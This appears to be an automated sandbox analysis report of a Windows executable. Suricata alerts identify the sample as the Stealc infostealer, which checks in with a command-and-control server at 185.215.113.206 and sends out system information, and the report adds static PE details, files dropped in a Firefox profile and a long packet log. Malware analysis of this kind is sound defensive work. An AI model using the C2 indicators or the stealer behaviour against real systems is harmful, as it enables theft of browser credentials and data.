SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946787430841051
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'851'392 bytes
MD5:	ab2b819b785279099e6de01576a7e770
SHA1:	946919a8c41919aeaac46351f77aad109b1ee187
SHA256:	97eacc2fa69413a5151ead32b4fc9ba3f0fcccf304423aaf3def4ec87b840889
SHA512:	81daf800bd8c3cb331797b21e39a23808c7df47f8b6e3319f9713901978a1a18f493eae8347948426e06f56edd860e51171caf8c00bb9731033082ad5dc88274
SSDEEP:	49152:rTHzaXkQOt5ofqaw35zHUOn5UOIbumAJ0MlGS3Q:3zaXkQ42fqaw350y5cuma8S
TLSH:	7A8533422EB5137DD6CD037153940922BB523ACA06D6023A9BA27535477E9FE6FB0F34
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...9$.g...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa9d000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671C2439 [Fri Oct 25 23:05:29 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F1F8CF6408Ah
hint_nop dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F1F8CF66085h
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	30e626c4a9c45aeb082ab92acd71c494	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a0000	0x200	1fd01429ebd11782f55b9abb32c01b96	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ughgfaox	0x4fe000	0x19e000	0x19de00	f6b85e50a78d8dae2dfcc9dd8d9dfff5	False	0.9948602905089097	data	7.953205877433125	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zpicggdt	0x69c000	0x1000	0x400	a11a19c4d767f430d0444a94f0670cfa	False	0.810546875	data	6.252335504340309	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69d000	0x3000	0x2200	e66cc28e7c16c242e71d34039b0fb63c	False	0.05767463235294118	DOS executable (COM)	0.6905137764282331	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-27T07:59:02.602211+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-27T07:59:02.893723+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-27T07:59:02.900822+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-10-27T07:59:03.185283+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-27T07:59:03.202680+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-10-27T07:59:04.540425+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-27T07:59:05.252636+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-27T07:59:13.486137+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-27T07:59:15.265926+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-27T07:59:16.312655+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-27T07:59:17.188313+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-27T07:59:19.194272+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-27T07:59:19.777119+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 07:59:01.367866993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:01.373394012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:01.373514891 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:01.373827934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:01.379195929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:02.298235893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:02.298399925 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:02.301480055 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:02.306890965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:02.601855993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:02.602210999 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:02.603977919 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:02.609304905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:02.893405914 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:02.893456936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:02.893723011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:02.895437956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:02.900821924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:03.185035944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:03.185082912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:03.185117006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:03.185149908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:03.185182095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:03.185214996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:03.185249090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:03.185282946 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:03.185283899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:03.185283899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:03.185823917 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:03.197310925 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:03.202680111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:03.486927032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:03.487096071 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:03.509732008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:03.509732008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:03.515290022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:03.515353918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:03.515389919 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:03.515417099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:03.515443087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:03.515686989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:03.515741110 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:03.516617060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:04.540221930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:04.540425062 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:04.965115070 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:04.970571995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.252316952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.252370119 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.252401114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.252433062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.252469063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.252496004 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.252623081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.252635956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.252635956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.252635956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.252635956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.252657890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.252670050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.252693892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.252803087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.252803087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.253084898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.253134966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.253145933 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.253170013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.253202915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.253237009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.253369093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.253369093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.253369093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.253369093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.253985882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.254067898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.414604902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.414679050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.414709091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.414714098 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.414730072 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.414764881 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.414845943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.414879084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.414930105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.414958000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.414961100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.414961100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.414969921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.414969921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.415194035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.415194035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.415359974 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.415415049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.415447950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.415513992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.415523052 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.415523052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.415527105 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.415556908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.415610075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.415610075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.416121006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.416194916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.416249037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.416249037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.533226967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.533282042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.533335924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.533349037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.533349037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.533370972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.533390045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.533406019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.533492088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.533492088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.533524990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.533554077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.533704042 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.533704042 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.533770084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.533802986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.533835888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.533869982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.534002066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.534002066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.534002066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.534322023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.534353971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.534387112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.534591913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.534591913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.534591913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.577250004 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.577290058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.577325106 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.577431917 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.577529907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.651618004 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.651668072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.651720047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.651752949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.651787996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.651833057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.651833057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.651833057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.651833057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.651833057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.651971102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.652000904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.652184963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.652196884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.652196884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.652220011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.652255058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.652276039 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.652276039 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.652288914 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.652354002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.652354002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.652785063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.652818918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.652852058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.652916908 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.652916908 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.652930021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.698803902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.698841095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.698873043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.698914051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.699135065 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.770014048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.770066977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.770119905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.770153046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.770184994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.770261049 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.770292044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.770467997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.770498037 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.770565987 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.770565987 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.770648956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.770682096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.770718098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.770719051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.770752907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.770829916 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.770839930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.770839930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.771202087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.771234989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.771267891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.771357059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.771357059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.771357059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:05.814270020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.814373970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.814443111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:05.814450026 CET	49704	80	192.168.2.5	185.215.113.206
